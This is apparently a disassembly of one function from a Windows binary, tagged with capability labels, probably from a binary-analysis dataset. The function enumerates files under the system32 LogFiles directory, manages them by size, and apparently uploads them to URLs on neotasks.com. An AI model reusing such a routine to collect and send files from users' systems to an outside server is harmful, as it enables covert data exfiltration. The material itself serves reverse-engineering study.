Function at 0x401309
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb48
and dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x401325
push 1
pop eax
mov dword [ebp - 0xc], eax
mov dword [ebp + 8], eax
push esi
mov esi, 0x400
push edi
push esi
call fcn.00405d3b
pop ecx
mov dword [ebp - 4], eax
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [ebp - 4]
lea eax, [ebp - 0xb48]
push str._sLogfilesNT_
push eax
call fcn.00406920
add esp, 0xc
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0xb48]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
and byte [ebp - 0x504], 0
push 0x40
mov dword [ebp - 8], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
cmp dword [ebp - 8], 0xffffffff
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x40174c
push ebx
mov ebx, str..log
push 7
mov esi, str.C:WINDOWS_system32LogFiles_
pop ecx
lea edi, [ebp - 0x110]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x39
xor eax, eax
pop ecx
lea edi, [ebp - 0xf2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x414108
lea eax, [ebp - 0x71c]
push esi
push eax
call fcn.004068a0
pop ecx
test eax, eax
pop ecx
jne 0x401724
push dword [0x415f80]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x504]
push 0x414104
push eax
call edi
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x71c]
push eax
call fcn.004068a0
add esp, 0x14
test eax, eax
jne 0x401724
push dword [0x415f70]
lea eax, [ebp - 0x504]
push 0x414104
push eax
call edi
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x71c]
push eax
call fcn.004068a0
add esp, 0x14
test eax, eax
jne 0x401724
lea eax, [ebp - 0x71c]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.004067c0
lea eax, [ebp - 0x110]
push eax
call fcn.004012d3
add esp, 0xc
cmp eax, 0x500000
jle 0x4014d8
and byte [ebp - 0x2fc], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x2fb]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push eax
call fcn.004068a0
lea ecx, [ebp - 0x110]
sub eax, ecx
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x2fc]
push eax
call fcn.00406470
lea eax, [ebp - 0x2fc]
push esi
push eax
call fcn.004067c0
lea eax, [ebp - 0x2fc]
push ebx
push eax
call fcn.004067c0
lea eax, [ebp - 0x2fc]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00406440
add esp, 0x2c
jmp 0x401724
test eax, eax
jg 0x4014ee
lea eax, [ebp - 0xb48]
push eax
call fcn.00406416
pop ecx
jmp 0x401724
lea eax, [ebp - 0x110]
push 0x414100
push eax
call fcn.00406403
pop ecx
mov esi, eax
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
je 0x40171b
push 2
push 0xffffffffffffffe0
push esi
call fcn.00406319
push esi
push 0x20
lea eax, [ebp - 0x130]
push 1
push eax
call fcn.00406202
push esi
call fcn.00406185
lea eax, [ebp - 0x130]
push str.normally
push eax
call fcn.004068a0
add esp, 0x28
test eax, eax
je 0x401631
push 0xa
mov esi, str.http:__www.neotasks.com_userlogs_uplog.jsp
pop ecx
lea edi, [ebp - 0x1f8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xe
xor eax, eax
pop ecx
lea edi, [ebp - 0x1cd]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x1f8]
push 0x4140c4
push eax
call fcn.004067c0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x1f8]
push eax
call fcn.004067c0
mov ecx, dword [0x415f6c]
add esp, 0x10
test ecx, ecx
je 0x40171b
lea eax, [ebp - 0x1f8]
push eax
call fcn.00404ab0
test eax, eax
jne 0x40171b
mov ecx, dword [0x415f6c]
call fcn.00404d50
test eax, eax
jne 0x40171b
and byte [ebp - 0x608], al
push 0x40
pop ecx
lea edi, [ebp - 0x607]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.004068a0
lea ecx, [ebp - 0x110]
sub eax, ecx
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x608]
push eax
call fcn.00406470
lea eax, [ebp - 0x608]
push 0x414108
push eax
call fcn.004067c0
lea eax, [ebp - 0x608]
push ebx
push eax
call fcn.004067c0
lea eax, [ebp - 0x608]
jmp 0x40170b
push 0xc
mov esi, str.http:__www.neotasks.com_userexceptions_uplog.jsp
pop ecx
lea edi, [ebp - 0x194]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x194]
push 0x4140c4
push eax
call fcn.004067c0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.004067c0
mov ecx, dword [0x415f6c]
add esp, 0x10
test ecx, ecx
je 0x40171b
lea eax, [ebp - 0x194]
push eax
call fcn.00404ab0
test eax, eax
jne 0x40171b
mov ecx, dword [0x415f6c]
call fcn.00404d50
test eax, eax
jne 0x40171b
and byte [ebp - 0x400], al
push 0x40
pop ecx
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.004068a0
lea ecx, [ebp - 0x110]
sub eax, ecx
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x400]
push eax
call fcn.00406470
lea eax, [ebp - 0x400]
push 0x414108
push eax
call fcn.004067c0
lea eax, [ebp - 0x400]
push ebx
push eax
call fcn.004067c0
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00406440
add esp, 0x2c
cmp dword [ebp - 0xc], 0
jne 0x401724
dec dword [ebp + 8]
lea eax, [ebp - 0x748]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401742
cmp dword [ebp + 8], 0
jge 0x401393
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
push dword [ebp - 4]
call fcn.00405d30
pop ecx
pop edi
pop esi
leave
ret